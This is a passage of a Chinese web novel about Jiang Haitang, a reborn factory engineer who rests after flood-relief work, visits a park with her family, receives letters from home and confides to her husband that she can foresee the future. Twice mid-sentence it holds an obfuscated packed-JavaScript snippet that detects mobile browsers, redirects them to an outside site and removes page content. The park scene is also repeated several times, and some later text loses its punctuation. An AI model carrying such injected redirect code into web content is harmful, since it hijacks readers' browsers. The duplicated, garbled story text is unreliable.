赵凯正好过来,看到姜海棠,便给她说:“嫂子,知道你担心厂里,导流渠效果很好,内涝基本控制住了。红旗大队那边堤坝稳固,上游雨势也减弱了,洪峰算是平稳度过了。我们厂里除了你和陆厂长,其他都好好的。” 众人听到赵凯这么说,没忍住差点笑了出来。 姜海棠也忍俊不禁。 不过,这一次只是纺织厂侥幸受灾比较少,但城里其他地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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但是,她的存在,就像一根定海神针,让本就高效的救灾物资生产组织得更加井井有条。 夜晚,当最后一批打包好的棉被装上开往灾区的卡车时,整个厂区灯火通明。 姜海棠站在陆良辰身边,看着卡车缓缓驶出厂门,消失在夜色中。 晚风吹拂着她的发丝,虽然身体依旧有些虚软,但一种踏实而满足的暖流充盈在心间。 陆良辰出院之后,知道姜海棠刚出院就投入到了工作中,十分心疼。 “累吗?”陆良辰低声问,轻轻握住了她微凉的手。 姜海棠摇摇头。 “不累。比起泡在水里的乡亲们,我们这点辛苦算什么。能帮到他们,心里才真正踏实了。大灾面前,我们能做的,真的太少了!” 她的声音不大,却透着经历过风雨和病痛后的沉静力量。 第272章 感悟 与此同时,其他厂子也接收到了救灾的任务,在大家齐心协力共同努力之下,轰轰烈烈的救灾物资生产任务圆满完成。 最后一批满载着纺织厂工人心血的棉被和帐篷布顺利运往灾区。 谭**看着姜海棠依旧有些苍白但精神尚可的脸,直接安排:“姜工,你的任务完成得非常出色!我们研究决定,给你放一个星期的假,必须好好休息,把身体彻底养好。” 姜海棠觉得自己现在的身体还行,并不用专门放假休息,但还不等她反对,就听到了谭**后面的话。 “海棠,这是**任务,不得讨价还价!” 他语气严肃,不容置疑,目光扫过陆良辰,“陆厂长,这一个星期,你也休息如何?除了养好自己的身体,还要负责监督将公共。” 陆良辰想了想,立刻表态:“**放心,我一定监督到位,让她彻底恢复元气。” 说完,陆良辰还对着谭**敬礼。 逗得大家都笑起来。 有人开玩笑:“咱们陆厂长,分明不想休假,可想着要陪媳妇儿,还是决定休假了!” 姜海棠张了张嘴,看着谭**不容商量的眼神,以及周围同事们关切的目光,最终答应了下来。 “你们放心吧,不用人盯着,我会好好休息的,说实话,我这段时间确实有些累了!” 她从重生而来之后,这些时间,一直都紧绷着,总想做得更好,这段时间,甚至都明显地感觉到了身体状况不如之前。 知道,这次自己确实透支得太厉害,再硬撑下去,不仅辜负了大家的关心,更可能给厂里添麻烦 休假第一天,姜海棠一觉睡到了日上三竿。 阳光透过糊着白纸的窗户格子洒进来,屋里静悄悄的。 她坐起身,看着空荡荡的家,一时竟有些不习惯这种无所事事的安静。 她习惯性地想去拿图纸或者技术资料看看,却发现书桌被陆良辰收拾得干干净净,那些资料都被他“没收”锁进办公室抽屉里了。 姜海棠知道这是防范着自己继续看书学习工作呢,她无奈地笑了笑,只得作罢。 陆良辰和小桃子都不在,不知道去什么地方了,姜海棠起床之后,发现桌上放着早饭,有鸡蛋和稀饭。 姜海棠洗漱之后,用煤炉子热了稀饭当早饭。 刚收拾完碗筷,就听见敲门声。 开门一看,巷子东头的邻居李大妈,手里端着一碗热气腾腾的鸡蛋羹。 “海棠啊,快,刚蒸 好的,趁热吃,补补身子!哎呦,这碗有点烫呢,你快接着。” 李大妈嗓门洪亮,带着邻里特有的亲热劲儿。 姜海棠本来要推辞,但因为正好听到李大妈说碗很烫,便接了过来,谁知道,她刚接过来,李大妈转身就走。 姜海棠忙喊道:“哎哟,李大妈,您别走啊……” “有啥不好意思的!你们两口子为厂里、为大家伙儿做了多少事!我们都记着呢!快拿着!要不以后我们就没办法处了。”李大妈说着话,人已经走远了,姜海棠无奈,只能将鸡蛋羹端回去。 她寻思着,应该怎么还这份人情。 李大妈刚走没多久,王婶又来了,送来一把自家种的小青菜。 接着,工会的刘大姐代表组织也来了,提了一小包珍贵的红糖和两盒麦乳精。 最后,厂里医务室开的几副调理中药也被厂医送过来了。 “海棠啊,这是我们的一点心意,你一定要按时吃,把身体调养结实了。有啥需要就跟我们说,总之,身体是第一要务!”厂医拉着她的手,细细叮嘱了一番才走。 一个上午,小小的家里温情不断。 姜海棠看着桌上的鸡蛋羹、青菜、红糖、麦乳精,心里暖烘烘的。 彻底放下了工作的担子,姜海棠的生活节奏慢了下来。 她开始做一些家务,打算把家里的被褥拆洗晾晒,谁知道,刚拆了被褥,陆良辰立即表示,自己洗就行了,让姜海棠检查自己有没有洗干净。 姜海棠原本打算自己缝被褥,也被刘红梅给抢了这份工作,最终,姜海棠什么忙都没有帮到。 这让她不得不放弃后面所有的打算。 最终,姜海棠把陆良辰几件磨破了领口袖口的旧衣服,用缝纫机巧妙地打了补丁,针脚细密整齐,几乎看不出痕迹,这才算满意了。 这样的活儿,也不累人,陆良辰便没有阻止她。 下午,阳光正好。 她搬个小板凳坐在门口,一边择着李大妈送来的青菜,一边和同样在门口纳鞋底、织毛衣的邻居婶子大娘们聊天。 话题从家长里短,到厂里的新鲜事,再到最近的新闻广播。 姜海棠静静地听着,偶尔插几句话,感受着这份久违的市井烟火气。 她觉得,自己好像已经有两辈子没有这样放松过了,难怪有这么多的人愿意家长里短的聊天,这样的感觉真的很不赖。 她的脸色在充足的休息和阳光照射下,渐渐有了健康的红润。 第二天,陆良辰不知道从哪里给姜海棠弄了两本《人民文学》杂志:“给,知道你闲不住,看看书解解闷。不过说好了,不准看太久,伤眼睛。” 姜海棠无奈笑道:“我只是身体需要休息一下,不至于这么脆弱。” 怎么有点荣升成了重点保护动物的感觉? 姜海棠惊喜的接过杂志。 记得从到了厂里,她就想过写一些故事,可是,一直到了现在,她也一个字都没写。 晚饭后,昏黄的灯光下,两口子一个看杂志,一个翻看厂里的生产报表,气氛宁静而温馨。 从看完了陆良辰带给她的两本书之后,姜海棠找到了新的去处,去了厂里的阅览室。 阅览室不大,但很安静,摆放着报纸、杂志和一些**理论书籍。 姜海棠找了张靠窗的桌子坐下,翻看着最新的《人民日报》和《红旗》杂志,了解国家大事和党的方针政策。 阳光透过窗户照在报纸上,她看得专注而平静。 虽然休假,但精神世界的充实同样重要。 其他人看到姜海棠竟然到了阅览室专心地看书,都觉得很惊讶。 要知道,姜工可是厂里学识最渊博的人来了,这样的人,都在学习,他们有什么理由不更加认真努力的学习呢? 从这一天开始,厂里的阅读室里的人一天比一天多了起来,很快就从原本你的门可罗雀到了现在门庭若市。 姜海棠也没有只是看书,她还是坚持锻炼,她自己觉得,这就是疏通胫骨,却没想到,被孔大娘看到之后,坚决地给制止了。 “你这孩子,身体傻样儿不知道啊?怎么能打拳?快回家歇着,等你好起来了,干啥都行!” 姜海棠没想到,孔大娘直接把她给送回到屋里了,只能笑着解释:“大娘,没事,活动活动,出点汗舒服。” “你这孩子!”孔大娘嗔怪着,才不打算姑息姜海棠。 假期的最后一天,姜海棠觉得身体已经轻松了许多,她彻底放松下来。 一早起来,姜海棠就建议去公园玩。 小桃子已经喊着要让爸爸带着去逛公园很久了,他们这一次一起休假,正好带着孩子去。 陆良辰恢复得比姜海棠快许多,这短短几天,已经彻底恢复了。 正闲着无事的他听到姜海棠要带着小桃子去公园,立即答应下来。 姜海棠换上一件淡蓝色的衬衫,给小桃子扎了两个可爱的小辫子。 陆良辰则穿了一件干净的白衬衫 ,整个人显得精神奕奕。 “妈妈,我们可以在公园里多玩一会儿吗?”小桃子仰着小脸,满眼期待。 “当然可以,今天爸爸也在,我们小桃子荡秋千的时候,爸爸还能推你荡得高高的。”姜海棠笑着捏了捏女儿的脸蛋。 一家人手牵着手走出家属院,路上遇到不少邻居,纷纷打招呼。 “哟,陆厂长一家这是去哪儿啊?” “带孩子去公园转转,小桃子说了很久了,总算有时间了。”陆良辰笑着回应。 “是该好好放松放松,你们两口子这段时间可累坏了。” 公园离纺织厂不远,步行二十分钟就到了。 一进门,小桃子就兴奋地指着远处的秋千:“妈妈快看!让爸爸推我!” 姜海棠看着女儿雀跃的样子转头对陆良辰说:“你先带小桃子去玩,我去买点汽水。” “好,小心点。”陆良辰叮嘱道。 姜海棠买了三瓶橘子汽水,回到秋千区,看到陆良辰正小心地推着小桃子,父女俩的笑声在阳光下格外清脆。 三个人一起喝着汽水,姜海棠突然说:“其实这次休假让我想明白一件事。” “什么事?”陆良辰好奇地问。 “我有时候太钻牛角尖了,把自己逼得太紧了,总想着做得更好一点,却忘了,适当的休息反而能带来新的灵感。” “为什么要把自己逼迫得这样紧呢?你做的已经很好了。”对于自家媳妇儿一直以百分之二百的精力工作这件事,陆良辰其实也很奇怪。 “或许,是因为我当初得到这份工作的原因总让我有点心虚吧,我一个从乡下来的女人,不是胡厂长和你,我可能就只能拿着一点有限的赔偿离开了。” 姜海棠不敢相信,如果自己当初拿着赔偿回去,会面临什么,现在又过着什么样的生活。 “你值得,海棠,你的工作是你自己努力得到的,如果不是你自己足够优秀,你充其量就是后厨的临时工,你有今天,厂里无人不服!” 姜海棠点点头,指着远处的水鸟,“就像那些鸟,飞累了总要停下来休息,但停下来不是为了不飞,而是为了飞得更远。我也要适当地休息,为了飞得更远。” 陆良辰若有所思地点点头。 “所以,我以后会将更多的精力放在生活上,照顾好你和小桃子……” 陆良辰却制止她接下来的话。 “海棠,你可以放松工作节奏,却不用加大力气照顾我和小桃子,你首先是你自己,你应该做一点你喜欢的事才是真的放松。” 姜海棠笑着看着陆良辰点点头。 她一直都习惯了付出,才会下意识觉得,如果不将过多的精力放在工作上,就要放在生活上。 ,整个人显得精神奕奕。 “妈妈,我们可以在公园里多玩一会儿吗?”小桃子仰着小脸,满眼期待。 “当然可以,今天爸爸也在,我们小桃子荡秋千的时候,爸爸还能推你荡得高高的。”姜海棠笑着捏了捏女儿的脸蛋。 一家人手牵着手走出家属院,路上遇到不少邻居,纷纷打招呼。 “哟,陆厂长一家这是去哪儿啊?” “带孩子去公园转转,小桃子说了很久了,总算有时间了。”陆良辰笑着回应。 “是该好好放松放松,你们两口子这段时间可累坏了。” 公园离纺织厂不远,步行二十分钟就到了。 一进门,小桃子就兴奋地指着远处的秋千:“妈妈快看!让爸爸推我!” 姜海棠看着女儿雀跃的样子转头对陆良辰说:“你先带小桃子去玩,我去买点汽水。” “好,小心点。”陆良辰叮嘱道。 姜海棠买了三瓶橘子汽水,回到秋千区,看到陆良辰正小心地推着小桃子,父女俩的笑声在阳光下格外清脆。 三个人一起喝着汽水,姜海棠突然说:“其实这次休假让我想明白一件事。” “什么事?”陆良辰好奇地问。 “我有时候太钻牛角尖了,把自己逼得太紧了,总想着做得更好一点,却忘了,适当的休息反而能带来新的灵感。” “为什么要把自己逼迫得这样紧呢?你做的已经很好了。”对于自家媳妇儿一直以百分之二百的精力工作这件事,陆良辰其实也很奇怪。 “或许,是因为我当初得到这份工作的原因总让我有点心虚吧,我一个从乡下来的女人,不是胡厂长和你,我可能就只能拿着一点有限的赔偿离开了。” 姜海棠不敢相信,如果自己当初拿着赔偿回去,会面临什么,现在又过着什么样的生活。 “你值得,海棠,你的工作是你自己努力得到的,如果不是你自己足够优秀,你充其量就是后厨的临时工,你有今天,厂里无人不服!” 姜海棠点点头,指着远处的水鸟,“就像那些鸟,飞累了总要停下来休息,但停下来不是为了不飞,而是为了飞得更远。我也要适当地休息,为了飞得更远。” 陆良辰若有所思地点点头。 “所以,我以后会将更多的精力放在生活上,照顾好你和小桃子……” 陆良辰却制止她接下来的话。 “海棠,你可以放松工作节奏,却不用加大力气照顾我和小桃子,你首先是你自己,你应该做一点你喜欢的事才是真的放松。” 姜海棠笑着看着陆良辰点点头。 她一直都习惯了付出,才会下意识觉得,如果不将过多的精力放在工作上,就要放在生活上。 ,整个人显得精神奕奕。 “妈妈,我们可以在公园里多玩一会儿吗?”小桃子仰着小脸,满眼期待。 “当然可以,今天爸爸也在,我们小桃子荡秋千的时候,爸爸还能推你荡得高高的。”姜海棠笑着捏了捏女儿的脸蛋。 一家人手牵着手走出家属院,路上遇到不少邻居,纷纷打招呼。 “哟,陆厂长一家这是去哪儿啊?” “带孩子去公园转转,小桃子说了很久了,总算有时间了。”陆良辰笑着回应。 “是该好好放松放松,你们两口子这段时间可累坏了。” 公园离纺织厂不远,步行二十分钟就到了。 一进门,小桃子就兴奋地指着远处的秋千:“妈妈快看!让爸爸推我!” 姜海棠看着女儿雀跃的样子转头对陆良辰说:“你先带小桃子去玩,我去买点汽水。” “好,小心点。”陆良辰叮嘱道。 姜海棠买了三瓶橘子汽水,回到秋千区,看到陆良辰正小心地推着小桃子,父女俩的笑声在阳光下格外清脆。 三个人一起喝着汽水,姜海棠突然说:“其实这次休假让我想明白一件事。” “什么事?”陆良辰好奇地问。 “我有时候太钻牛角尖了,把自己逼得太紧了,总想着做得更好一点,却忘了,适当的休息反而能带来新的灵感。” “为什么要把自己逼迫得这样紧呢?你做的已经很好了。”对于自家媳妇儿一直以百分之二百的精力工作这件事,陆良辰其实也很奇怪。 “或许,是因为我当初得到这份工作的原因总让我有点心虚吧,我一个从乡下来的女人,不是胡厂长和你,我可能就只能拿着一点有限的赔偿离开了。” 姜海棠不敢相信,如果自己当初拿着赔偿回去,会面临什么,现在又过着什么样的生活。 “你值得,海棠,你的工作是你自己努力得到的,如果不是你自己足够优秀,你充其量就是后厨的临时工,你有今天,厂里无人不服!” 姜海棠点点头,指着远处的水鸟,“就像那些鸟,飞累了总要停下来休息,但停下来不是为了不飞,而是为了飞得更远。我也要适当地休息,为了飞得更远。” 陆良辰若有所思地点点头。 “所以,我以后会将更多的精力放在生活上,照顾好你和小桃子……” 陆良辰却制止她接下来的话。 “海棠,你可以放松工作节奏,却不用加大力气照顾我和小桃子,你首先是你自己,你应该做一点你喜欢的事才是真的放松。” 姜海棠笑着看着陆良辰点点头。 她一直都习惯了付出,才会下意识觉得,如果不将过多的精力放在工作上,就要放在生活上。 ,整个人显得精神奕奕。 “妈妈,我们可以在公园里多玩一会儿吗?”小桃子仰着小脸,满眼期待。 “当然可以,今天爸爸也在,我们小桃子荡秋千的时 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“为什么要把自己逼迫得这样紧呢?你做的已经很好了。”对于自家媳妇儿一直以百分之二百的精力工作这件事,陆良辰其实也很奇怪。 “或许,是因为我当初得到这份工作的原因总让我有点心虚吧,我一个从乡下来的女人,不是胡厂长和你,我可能就只能拿着一点有限的赔偿离开了。” 姜海棠不敢相信,如果自己当初拿着赔偿回去,会面临什么,现在又过着什么样的生活。 “你值得,海棠,你的工作是你自己努力得到的,如果不是你自己足够优秀,你充其量就是后厨的临时工,你有今天,厂里无人不服!” 姜海棠点点头,指着远处的水鸟,“就像那些鸟,飞累了总要停下来休息,但停下来不是为了不飞,而是为了飞得更远。我也要适当地休息,为了飞得更远。” 陆良辰若有所思地点点头。 “所以,我以后会将更多的精力放在生活上,照顾好你和小桃子……” 陆良辰却制止她接下来的话。 “海棠,你可以放松工作节奏,却不用加大力气照顾我和小桃子,你首先是你自己,你应该做一点你喜欢的事才是真的放松。” 姜海棠笑着看着陆良辰点点头。 她一直都习惯了付出,才会下意识觉得,如果不将过多的精力放在工作上,就要放在生活上。 ,整个人显得精神奕奕。 “妈妈,我们可以在公园里多玩一会儿吗?”小桃子仰着小脸,满眼期待。 “当然可以,今天爸爸也在,我们小桃子荡秋千的时候,爸爸还能推你荡得高高的。”姜海棠笑着捏了捏女儿的脸蛋。 一家人手牵着手走出家属院,路上遇到不少邻居,纷纷打招呼。 “哟,陆厂长一家这是去哪儿啊?” “带孩子去公园转转,小桃子说了很久了,总算有时间了。”陆良辰笑着回应。 “是该好好放松放松,你们两口子这段时间可累坏了。” 公园离纺织厂不远,步行二十分钟就到了。 一进门,小桃子就兴奋地指着远处的秋千:“妈妈快看!让爸爸推我!” 姜海棠看着女儿雀跃的样子转头对陆良辰说:“你先带小桃子去玩,我去买点汽水。” “好,小心点。”陆良辰叮嘱道。 姜海棠买了三瓶橘子汽水,回到秋千区,看到陆良辰正小心地推着小桃子,父女俩的笑声在阳光下格外清脆。 三个人一起喝着汽水,姜海棠突然说:“其实这次休假让我想明白一件事。” “什么事?”陆良辰好奇地问。 “我有时候太钻牛角尖了,把自己逼得太紧了,总想着做得更好一点,却忘了,适当的休息反而能带来新的灵感。” “为什么要把自己逼迫得这样紧呢?你做的已经很好了。”对于自家媳妇儿一直以百分之二百的精力工作这件事,陆良辰其实也很奇怪。 “或许,是因为我当初得到这份工作的原因总让我有点心虚吧,我一个从乡下来的女人,不是胡厂长和你,我可能就只能拿着一点有限的赔偿离开了。” 姜海棠不敢相信,如果自己当初拿着赔偿回去,会面临什么,现在又过着什么样的生活。 “你值得,海棠,你的工作是你自己努力得到的,如果不是你自己足够优秀,你充其量就是后厨的临时工,你有今天,厂里无人不服!” 姜海棠点点头,指着远处的水鸟,“就像那些鸟,飞累了总要停下来休息,但停下来不是为了不飞,而是为了飞得更远。我也要适当地休息,为了飞得更远。” 陆良辰若有所思地点点头。 “所以,我以后会将更多的精力放在生活上,照顾好你和小桃子……” 陆良辰却制止她接下来的话。 “海棠,你可以放松工作节奏,却不用加大力气照顾我和小桃子,你首先是你自己,你应该做一点你喜欢的事才是真的放松。” 姜海棠笑着看着陆良辰点点头。 她一直都习惯了付出,才会下意识觉得,如果不将过多的精力放在工作上,就要放在生活上。 ,整个人显得精神奕奕。 “妈妈,我们可以在公园里多玩一会儿吗?”小桃子仰着小脸,满眼期待。 “当然可以,今天爸爸也在,我们小桃子荡秋千的时候,爸爸还能推你荡得高高的。”姜海棠笑着捏了捏女儿的脸蛋。 一家人手牵着手走出家属院,路上遇到不少邻居,纷纷打招呼。 “哟,陆厂长一家这是去哪儿啊?” “带孩子去公园转转,小桃子说了很久了,总算有时间了。”陆良辰笑着回应。 “是该好好放松放松,你们两口子这段时间可累坏了。” 公园离纺织厂不远,步行二十分钟就到了。 一进门,小桃子就兴奋地指着远处的秋千:“妈妈快看!让爸爸推我!” 姜海棠看着女儿雀跃的样子转头对陆良辰说:“你先带小桃子去玩,我去买点汽水。” “好,小心点。”陆良辰叮嘱道。 姜海棠买了三瓶橘子汽水,回到秋千区,看到陆良辰正小心地推着小桃子,父女俩的笑声在阳光下格外清脆。 三个人一起喝着汽水,姜海棠突然说:“其实这次休假让我想明白一件事。” “什么事?”陆良辰好奇地问。 “我有时候太钻牛角尖了,把自己逼得太紧了,总想着做得更好一点,却忘了,适当的休息反而能带来新的灵感。” “为什么要把自己逼迫得这样紧呢?你做的已经很好了。”对于自家媳妇儿一直以百分之二百的精力工作这件事,陆良辰其实也很奇怪。 “或许,是因为我当初得到这份工作的原因总让我有点心虚吧,我一个从乡下来的女人,不是胡厂长和你,我可能就只能拿着一点有限的赔偿离开了。” 姜海棠不敢相信,如果自己当初拿着赔偿回去,会面临什么,现在又过着什么样的生活。 “你值得,海棠,你的工作是你自己努力得到的,如果不是你自己足够优秀,你充其量就是后厨的临时工,你有今天,厂里无人不服!” 姜海棠点点头,指着远处的水鸟,“就像那些鸟,飞累了总要停下来休息,但停下来不是为了不飞,而是为了飞得更远。我也要适当地休息,为了飞得更远。” 陆良辰若有所思地点点头。 “所以,我以后会将更多的精力放在生活上,照顾好你和小桃子……” 陆良辰却制止她接下来的话。 “海棠,你可以放松工作节奏,却不用加大力气照顾我和小桃子,你首先是你自己,你应该做一点你喜欢的事才是真的放松。” 姜海棠笑着看着陆良辰点点头。 她一直都习惯了付出,才会下意识觉得,如果不将过多的精力放在工作上,就要放在生活上。 第273章 我能预知 夕阳西下,一家三口沿着公园的小路慢慢往家走。 小桃子蹦蹦跳跳地走在中间,一手牵着爸爸,一手牵着妈妈。 “妈妈,明天你还要去上班吗?”小桃子仰起小脸问道。 姜海棠和陆良辰相视一笑。 陆良辰蹲下身,平视着女儿:“明天妈妈要去上班,不过以后每天都会准时回家陪小桃子吃饭。” “真的吗?”小桃子眼睛亮晶晶的。 “真的。”姜海棠也蹲下来,轻轻抱住女儿,“妈妈答应你。” 回到工作岗位的第一天,同事们看到姜海棠恢复得这么好,都由衷高兴,甚至忍不住鼓起掌来。 “姜工,你可算回来了!”黎景程激动地说,“新到的德国设备说明书全是外文,我们都看不懂,又怕他们给的翻译不准确。 姜海棠笑着接过厚厚一叠资料:“让我看看。” 中午姜海棠准点儿下班回家准备做饭,其他同事还挺惊讶。 段长河吃惊地问:“姜工,今天准时下班?” 要知道,姜海棠准时下班的时候太少了。 “答应了小桃子,以后都会回家给她做饭。”姜海棠说完,已经大步离开了。 “怎么感觉,姜工像是换了一个人一样?” “难道是病了一场,心态有了一些变化?” 黎景程和段长河两个人说了几句,转身去食堂了。 快回到家的时候,姜海棠看到了刘红梅。 “红梅姐。”姜海棠立即打招呼。 “你这是恢复上班了?觉得怎么样?”刘红梅笑着问,其实看姜海棠的气色就知道。 “嗯,还不错,感觉整个人都轻松多了。”姜海棠一样笑着,脸上多了一些光彩。 “果然好好休息是有效果的,你啊,就是太拼命了。”刘红梅说:“从到了咱厂里,你一直都在拼命工作,好像一时半刻的懈怠就对不起谁一样。” 姜海棠浅浅的一笑说道:“以前就是有这种想法,总觉得我一个乡下姑娘能得一份工作不容易,所以就拼命了一点。” 这当然只是其中一个原因,自从重生之后,她想摆脱上辈子的轨迹,确实用力过猛了。 “我以后除非特殊情况,其他时间不加班了。” “早该这样了!”刘红梅十分赞成地说道:“你打算以后将主要精力放在家庭?” “良辰说,一个人不光有家庭和工作,还有自己,他让我做点自己喜欢的。” 姜海棠说这个 话的时候眼底眉间都是甜蜜看得刘红梅都忍不住啧啧两声。 “哎呀呀这有人疼的人就是不一样!” 两个人说说笑笑的就到了家里。 姜海棠洗手做饭小桃子听到这边的动静从隔壁哒哒哒地跑回来了欢快的喊着:“妈妈妈妈!” “乖宝儿咱们今天吃葱油饼好不好?”姜海棠温柔地笑着问。 “好啊好啊我们吃葱油饼我还要喝鸡蛋汤。”小桃子拍着小巴掌说道。 “好啊那你去后院给妈妈摘一个洋柿子再拽一把小葱回来可以吗?” 小桃子听了妈妈的话立即哒哒哒地冲到后院去了。 很快她抱着一股葱葱上面还放着两颗洋柿子回来了。 “妈妈我摘了两颗洋柿子可以吃一个吗?” “当然可以不过只可以吃一半要是都吃了就吃不下饭了。”姜海棠一边和面一边对小桃子说。 小家伙很乖巧地答应下来然后将西红柿放在小水盆里洗了下颠颠儿地拿过来。 “妈妈我们一人吃一半我选得最红的肯定甜。” 姜海棠看着小女儿明媚的小脸心都融化了用力亲了一口小家伙的脸。 宁静的日子总是过得很快转眼已经一周时间过去。 姜海棠的精神头越发好了起来这日她刚从百货大楼买了东西回来 看门的大爷瞧见了姜海棠立即喊道:“姜工姜工这里有一份陆厂长的信和包裹单。” 姜海棠忙走过去。 邮递员问:“这是本人吗?” “这是陆厂长的媳妇儿给她没问题。”门房大爷笑着将信和包裹单都递给姜海棠。 姜海棠回家的时候陆良辰正在家里陪小桃子认字两个人一问一答似乎学习的效果还不错。 姜海棠将信交给陆良辰说:“良辰这是家里来的信还有一个包裹单不知道又给咱们寄什么了。” “爸爸是什么呀?”小桃子踮起脚好奇地看着爸爸手里的信封。 “是爷爷奶奶和太爷爷寄来的信还有给咱们的东西。”陆良辰笑着摸了摸女儿的头。 “有好吃的吗?”小家伙似乎对吃情有独钟第一句话就是问吃的。 陆良辰摇摇头:“不知道应该有吧下午爸爸带着小桃子去取回来。” “嗯嗯小桃子要和爸爸一起去。” 两个人说话的时间陆 良辰已经将信封打开了。 “海棠爷爷也给我们写信了你赶过来看。” 姜海棠正将买来的东西规整呢就听到陆良辰喊自己立即放下东西跑过来。 信是陆父写的 读完信两个大人只觉得心里暖融融的这是远在京城的父母对他们这个小家的惦记。 小桃子歪着脑袋想了好一会儿说:“奶奶给我准备好吃的了我听到了。” 陆良辰和姜海棠都忍俊不禁的笑了小孩子就是好有好吃的什么都好说。 同一个信封里还装了另外一封信是姜海棠的爷爷姜国柱寄来的。 姜国柱的信写得朴实字迹有些歪歪扭扭并不是很好看但是有种霸王之气的感觉。 姜爷爷说的话大体和陆家父母的没有太大的差别就是问候让她们好好保重身体同时也说了给他们寄了一些东西让他们一家三口不要亏空身体。 看完信二人都沉默了。 姜国柱年龄大了加上身体并不是很好姜海棠作为唯一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104240|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的孙女至今都在西北不能陪在姜国柱的身边姜海棠觉得自己不孝顺。 “海棠我们要不要打报告调回京城或者你先调动回去。”陆良辰问道。 姜海棠迟疑了一下说:“明年吧。” 明年很多政策都会有变化相对来说更合适他们回京城。 虽然不知道为什么但陆良辰总觉得姜海棠似乎对于明年这个时间点很执着就好像到了明年政策会就发生重大变化一样。 “海棠为什么一定是明年?明年会有什么变化吗?”陆良辰问。 姜海棠迟疑了好一会儿之后才开口:“如果我说我能预知到一些未来发生的事你相信吗?” 陆良辰没想到姜海棠会给自己一个这样的回答他好半晌没有说出一句话。 房间里一时安静得只剩下小桃子翻动连环画的沙沙声。 陆良辰放下手中的信目光深深地望向姜海棠声音不自觉地压低:“海棠你这话是什么意思?” 姜海棠的手指无意识地摩挲着手中的锅铲锅里的水逐渐温热起来腾起袅袅白雾模糊了她的面容。 她轻轻将小桃子支去里屋看画报等孩子的脚 步声远去,才缓缓开口。 “我也不知道为什么,我就是知道,明年政局会有大幅度的变化,或许,这些年的一些错误都会被修正,等到了后年,还会恢复高考。从明年到后年,很多被下放的人会返城重新回到工作岗位。” 姜海棠声音轻得像一片雪花落在窗棂上,她心里其实很忐忑。 她不能说重生,太过不可思议,但预知梦的说法,在民间故事里尚有立足之地。 就是,陆良辰会怎么想?会不会对这样的她嫌弃?觉得她是个怪物? 但他们是夫妻,姜海棠并不想在面对丈夫的时候,有太多的秘密。 “真的还是假的?”陆良辰表示,这样的事,简直太匪夷所思了。 姜海棠郑重地点头。 窗外的白杨树沙沙作响,斑驳的树影在水泥地上摇曳。 陆良辰的喉结滚动了一下,突然起身检查了门窗是否关严,又掀开窗帘一角确认院子里没有人。 这个下意识的动作让姜海棠眼眶发热,即使听到这样离奇的话,他的第一反应仍是保护她。 “海棠,这些事你还告诉过谁?”陆良辰坐回她身边,温热的手掌覆住她冰凉的手指。 “只有你。”姜海棠望进他眼底,那里面的担忧远比震惊更浓重。 “有时候我会做很真实的梦,梦里的事后来都会发生……甚至,我还可以梦到一些未来的技术。” “不管是什么原因,海棠,这些话,到此为止,就是对我,也不用再说。”陆良辰郑重的说道。 姜海棠点点头,眼眶中都是热泪。 “海棠,既然上天赋予你这个能力,那你就将这个能力用起来,这段时间,你也可以更加充实自己,毕竟,如果政策改变,以后有文化有知识的人,应该会比较吃香。” 第274章 小馋猫 姜海棠立即点头如捣蒜地回答:“是的,会非常非常吃香。” 小桃子的笑声突然从里屋传来,两人同时望向声音的方向。 陆良辰的手紧了紧:“我会帮你打掩护,毕竟,我们陆家,知道点什么,别人也不会怀疑,你对别人,一句都不能说!” 得到姜海棠的保证之后,陆良辰才安心下来。 “既然明天情况会有变化,我们就等明年再打报告调回去,正好这段时间,将厂里的一些遗留问题都解决一下。” “你要不要考大学?”姜海棠问。 “大学就算了,我已经这么大年龄了,再去学校读书也没啥意思。”陆良辰摇头:“倒是你可以试试。” “我怕我考不上,毕竟,我没正经上过学。” “没事,咱们早点开始学习,我相信,你这么聪明,一定能学得很好。” 姜海棠重重点头,像抓住了命运给予的第二次机会。 那些无法言说的重生记忆,那些独自背负的秘密,此刻终于有了分担的重量。 对于未来的规划,也逐渐更加明晰起来,她总算走出了上辈子的阴霾。 “妈妈,妈妈,我饿了,想吃饭。”小桃子蹦跳着进来,“等吃完饭,咱们还要去邮局取好吃的。” 陆良辰弯腰把女儿举过头顶:“好,等吃饭完,咱们就去取好吃的,哎呀,我家小桃子又胖了,沉甸甸的,爸爸都快抱不动了。” 小桃子被陆良辰举高高的,一点都不怕,还咯咯咯的笑着。 姜海棠望着父女俩的笑脸,姜海棠突然想起上辈子看过的一句诗:长风破浪会有时。 这一次,她将会和爱自己的人一起抵达那未知的幸福彼岸。 下午,陆良辰拿着包裹单,带着小桃子去邮局取回了一个大包裹。 除了信里提到的麦乳精、红枣、小桃子的新衣服,还有两盒京城特产的糕点,以及一叠全国通用的粮票。 “妈的手艺还是这么好。”姜海棠展开小桃子的新衣裳,是两件碎花小裙子,针脚细密,领口还绣了朵小花,精致又可爱。 “奶奶做的!”小桃子欢呼着,迫不及待地试穿,在镜子前转来转去,美得不行。 “爷爷这是把能寄的都寄来了,看看这一大把的票证。”陆良辰看着这简单粗暴的方式,就知道,这是姜国柱老爷子给孙女的一片拳拳之心。 饭后,姜海棠和陆良辰两个人回到卧室之后,坐在书桌前,认真地给爷爷和公婆写回信。 详细 说了近况,还附了一张小桃子自己画的画儿,反正,姜海棠表示,如果小桃子不介绍,她肯定不知道小家伙画的什么,但这不要紧,老人们看了,肯定会高兴就对了。 写完信,她轻轻舒了口气,心里踏实了许多。 陆良辰走过来,递给她一杯热牛奶:“喝点再睡。” 姜海棠接过,温热的杯子捧在手心,心里暖融融的。 窗外,夜色宁静,星光点点。 